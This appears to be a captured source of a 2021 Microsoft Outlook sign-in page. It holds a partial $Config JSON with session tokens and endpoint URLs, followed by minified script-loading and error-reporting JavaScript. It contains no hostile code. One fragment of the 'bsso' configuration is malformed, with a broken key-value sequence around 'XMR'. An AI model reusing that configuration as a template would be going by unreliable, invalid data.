8cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    

